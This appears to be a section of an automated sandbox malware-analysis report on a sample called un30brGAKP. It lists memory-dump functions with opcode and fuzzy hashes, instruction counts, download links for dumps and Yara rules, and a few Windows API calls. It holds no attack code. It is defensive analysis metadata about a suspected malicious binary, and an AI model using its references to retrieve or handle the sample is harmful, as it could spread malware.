Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7079e53800c913c03d7668b34f59b2167d3422df5cee7d21572fbdce3f839fb3
Instruction ID: bd1dccbe36cfa62d88955e7c981f860442e87709ee1e261cea74ead0abc378bb
Opcode Fuzzy Hash: 7079e53800c913c03d7668b34f59b2167d3422df5cee7d21572fbdce3f839fb3
Instruction Fuzzy Hash: B4C14771A00658DFDB11DB68CA85FDDB7F5AB49304F5490E9E808AB351CB71AE86CF40

Function 00E5782C Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fd9b10ef5cdca14dd96caa2747043df7ba0b694d46a76ff6796b79602a47a47
Instruction ID: f434b8cc20f323c4413b269d3d799bbe353346aa9b92fefdc3bed51af3a060a2
Opcode Fuzzy Hash: 0fd9b10ef5cdca14dd96caa2747043df7ba0b694d46a76ff6796b79602a47a47
Instruction Fuzzy Hash: 64B1E534A04204EFCB15DF68E885AAEB3F2EB49305F5568A5F844BB361CB30EE54DB10

Function 00DBF050 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5701f5c8bebd642983813bec2eddd218a690d4f7d4face5c556a391f28cc7a47
Instruction ID: 5016cb69857c7fe4c773d5791757749e4526fa13c1dd17180720381946a099c4
Opcode Fuzzy Hash: 5701f5c8bebd642983813bec2eddd218a690d4f7d4face5c556a391f28cc7a47
Instruction Fuzzy Hash: 07819D35608301DBD718DF18C895AAAB7E2FF98340F19957DE88A8B361DB30EC41CB65

Function 00E1E97C Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efb0b012642913fe6574c1be1a0d600c03327688469709f68d08b800d069c462
Instruction ID: 06b02c720384f7406a210fef1b793d9d77be0a89c7fd2d66057eb5fbc77f8384
Opcode Fuzzy Hash: efb0b012642913fe6574c1be1a0d600c03327688469709f68d08b800d069c462
Instruction Fuzzy Hash: 45915971A0420A8FDB14DF98C985AEEBBF5FF48314F156129FC16B7391C674AD818BA0

Function 00D8B909 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea505e1ce2185322fd8a8c0df3f36a8f133148d80ee2c453aeb08f3a57b27a33
Instruction ID: c096ab8dcefebf0cd4e45753befe2108c96570d7ca0f43870d55be2b329f6470
Opcode Fuzzy Hash: ea505e1ce2185322fd8a8c0df3f36a8f133148d80ee2c453aeb08f3a57b27a33
Instruction Fuzzy Hash: 52716CB99407158FC724CF55C890577B7B2EFAE35070D919DC8956F369E334A802CBA4

Function 00ED780C Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a46a25728c0e4dbe5aa0a1433bd48846487817f0c63754d6310f19dcd07371b1
Instruction ID: 6e572a86700cb69f6d02cb19b2735e2f64e7bba364958304b0e78e295ddb5d8c
Opcode Fuzzy Hash: a46a25728c0e4dbe5aa0a1433bd48846487817f0c63754d6310f19dcd07371b1
Instruction Fuzzy Hash: 8661622238DB9203E73D8E7D5CE02B7EAD35FC531862ED57D94DAC3F42E86AA4165104

Function 00EDE01C Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889cb27f311d097a6ab29881b4a28956ce9f6207508975d2f37d3fcd19ae3f24
Instruction ID: 04b82ce144c823abfd0169cd281d1fe6c7d0e03b491a27a4155c9e642a1c70f0
Opcode Fuzzy Hash: 889cb27f311d097a6ab29881b4a28956ce9f6207508975d2f37d3fcd19ae3f24
Instruction Fuzzy Hash: D0814B73D104364BEB629EA89C483A16392EFCC39EF5B45B0ED05BB74AD534BD528680

Function 00E3BBB0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21dad4d19190953b37443e65cbe42f83e544e4b499cc316e6ea81480dfdb7854
Instruction ID: e710bb11e31defa07a6f4c68bfdc755d6c6d1088a07c8336ca95dd5e8eb60745
Opcode Fuzzy Hash: 21dad4d19190953b37443e65cbe42f83e544e4b499cc316e6ea81480dfdb7854
Instruction Fuzzy Hash: 2281DA31A00108EFDB04DE9DD885D9EBBF9AF44300F6090A5FA15EB266DB31EE41DB54

Function 00EDDD68 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e529386d758de3a19ba72861794c5f28c65183b760b7839c39ae983fa03d4a31
Instruction ID: a51c6b421d013b6e8c9f89f1a66d4971504e06251335fb61b01fe51f4536186f
Opcode Fuzzy Hash: e529386d758de3a19ba72861794c5f28c65183b760b7839c39ae983fa03d4a31
Instruction Fuzzy Hash: 81711673D244775BEF609EA888443617392EFC925CF5B46B0CE05BB646C634BC5296D0

Function 00D9DA20 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcd9bf0aa7e93f71c7c46fd147d0d8613ce6757203f934b3563941391fc30d09
Instruction ID: 8afea342ce4add0b093d0bbc3786a267daede59c81d9ea52b349e91c1ae4144f
Opcode Fuzzy Hash: bcd9bf0aa7e93f71c7c46fd147d0d8613ce6757203f934b3563941391fc30d09
Instruction Fuzzy Hash: 2751373374D6D24BDB28893C5C512A67A934BE6334F2E876DD9F18B3E5C5A58C018360

Function 00E86AC8 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facd014c2e33ab1fc63555eefe9942f80009d27f05babb70f28f1008a15450a3
Instruction ID: 759f413b31f00b0b0de7d33e6b42111d213ee68d14d26d3b6621f0c6d926e877
Opcode Fuzzy Hash: facd014c2e33ab1fc63555eefe9942f80009d27f05babb70f28f1008a15450a3
Instruction Fuzzy Hash: A161825911416682CB28AFADD58426177A1EFA8B00B1055E6DC6EEF73FF330C8D1C7A9

Function 00D8DC62 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cdafeb940fae042bcfec5d863c0e3e805f46f262ff151c047bb708c5d84e216b
Instruction ID: b85d3f7aa9e2f2a5409ee95c5e52767c2bcbe7011c42f0cd47294625e5470d9a
Opcode Fuzzy Hash: cdafeb940fae042bcfec5d863c0e3e805f46f262ff151c047bb708c5d84e216b
Instruction Fuzzy Hash: 5441B5742197428FE7299F28C8A1DB2B7A3EB5A320769495CC4D3D73E5C271AC46DB30

Function 00EE2048 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f739a0ceb33e9ce06ab3a36252a1776b2d497435828433a6edbaaf3f4ccbe2d
Instruction ID: 6a903ff3e1b169e9594c81b6abd834e0f0cf9a7eeecfde8824e904fec77078ad
Opcode Fuzzy Hash: 8f739a0ceb33e9ce06ab3a36252a1776b2d497435828433a6edbaaf3f4ccbe2d
Instruction Fuzzy Hash: A851D3352086D44BCB26CF6D88D05613FA7AF89324B2992D8CEC49F34FD522DD42D790

Function 00DA36B0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0686dc573c60651db80bcde11564f48f8ed82d5fb33f50e6c25b2e030e50cf7
Instruction ID: d8a5f980fe027ea4a9107d1e316bcbf63280524272b4ae3d6bc26f4d9b0557f3
Opcode Fuzzy Hash: d0686dc573c60651db80bcde11564f48f8ed82d5fb33f50e6c25b2e030e50cf7
Instruction Fuzzy Hash: 2B51D0B5E40309AFDB24DFE8EC82BEEBB74EB08304F54416DF119A6281D6745649CFA1

Function 00DC0130 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 86dca4f5637908274be95200f6377bfcf338a34a08db55352245f5d35cb1b923
Instruction ID: c26df9ab7655e03d0af610f7f8e8977b4ac7163eed3807f1227bb3d081665675
Opcode Fuzzy Hash: 86dca4f5637908274be95200f6377bfcf338a34a08db55352245f5d35cb1b923
Instruction Fuzzy Hash: E8410532648306DFE7149E58DC98F7AFBA2F784710F2C452DE589A7350D670AD018769

Function 00E86D94 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7660f5dda2f10b892d2d747a254a3f2e5269969d0f4098e580ff3e5d3b618b7e
Instruction ID: ce0cce55d3a93b89860d42e37cbfd65c3d758279e40b07a7b33354f6af4c7a0c
Opcode Fuzzy Hash: 7660f5dda2f10b892d2d747a254a3f2e5269969d0f4098e580ff3e5d3b618b7e
Instruction Fuzzy Hash: 2D410B6C100A479AC310AF60C4411E6F7B1FFA8714740C629E9ADD7B65F334E8A6CBA5

Function 00E86F24 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99592dd2673f2bfa13e198a76fea079bbb98715a8f887e9f9cedd6e93f9b3fb4
Instruction ID: 7ecd5085d120c36c7aab21e7be4d9046eeb3faefec3d440feaf166e28f85b01a
Opcode Fuzzy Hash: 99592dd2673f2bfa13e198a76fea079bbb98715a8f887e9f9cedd6e93f9b3fb4
Instruction Fuzzy Hash: D241EC6C100A479AC310AF64C4416E6F3B1FFA8714B40C619E9BDD7B65F334E8A5CBA5

Function 00DBFEE0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0be17b6539540991f1bcb7282941f014dd142bd2d1b3900ba8c4525554e832e4
Instruction ID: 78980418082074d0e197f562e86dc9a2967e12dc899f8cf21e7c313826006cbc
Opcode Fuzzy Hash: 0be17b6539540991f1bcb7282941f014dd142bd2d1b3900ba8c4525554e832e4
Instruction Fuzzy Hash: 41215735A08202DBC7148F18CC949FEF761FB8A314F28853DE48A57395DA30DD19C7A1

Function 03498024 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4123883819.0000000003490000.00000040.00001000.00020000.00000000.sdmp, Offset: 03490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3490000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3608a12bf9d3507ce09aacce4e0eeb037bdf84409ed87cd452e6afbc798e4e4
Instruction ID: 2d7590df018c5c38cea7c89ea948263d84e028c8466fdfbc2970efc28d94a219
Opcode Fuzzy Hash: f3608a12bf9d3507ce09aacce4e0eeb037bdf84409ed87cd452e6afbc798e4e4
Instruction Fuzzy Hash: 8A11B172341102EFD701AB498D8AF6977B8EB98760F14802AFE0E9F689E33558158F60

Function 00DBB7C0 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bf93594fafdd02229ecfa3e088798c37ca4484f11d32bf2d98d235a5f989c76d
Instruction ID: a8a781d77cf7815d8f0d7bb79e6c4a16bb036d21f40ebc6bf8165cabf666277c
Opcode Fuzzy Hash: bf93594fafdd02229ecfa3e088798c37ca4484f11d32bf2d98d235a5f989c76d
Instruction Fuzzy Hash: F21129395183489FD710AA649C848B7FBADEB8A368F08152DE58993321F3A2AC54C675

Function 03497E70 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4123883819.0000000003490000.00000040.00001000.00020000.00000000.sdmp, Offset: 03490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3490000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 632615a05475df3cd3992fbfd7b3f7ca3dc1563cced3237ba63ed4d8230197cb
Instruction ID: c323d2ed420a19a0947b611bf67b9e6ada95a88b819a97617cabecb32fbd13d7
Opcode Fuzzy Hash: 632615a05475df3cd3992fbfd7b3f7ca3dc1563cced3237ba63ed4d8230197cb
Instruction Fuzzy Hash: C511E973711111AFD3106F1ACD0AF567BB9EBE4760F15402AF9199F392C73A98118F91

Function 00D8A2B5 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd72d8aa46d05502856bc63d7a0110fe83de61b38eed37b79c3a45bebeb52d83
Instruction ID: 26be63a66e4e36aeda4884422d9cdd5847e5ac931d34cfe0ac0c8d8dc5bc9b70
Opcode Fuzzy Hash: cd72d8aa46d05502856bc63d7a0110fe83de61b38eed37b79c3a45bebeb52d83
Instruction Fuzzy Hash: 25C09B356C4543D7C115CF54EC628B0B274670B316F2431558153F3359D510D4148A19

Function 00E2E278 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

GetMonitorInfoA.USER32(?,?), ref: 00E2E2A9
GetSystemMetrics.USER32(00000000), ref: 00E2E2E5
GetSystemMetrics.USER32(00000001), ref: 00E2E2F0

Strings

DISPLAY, xrefs: 00E2E311
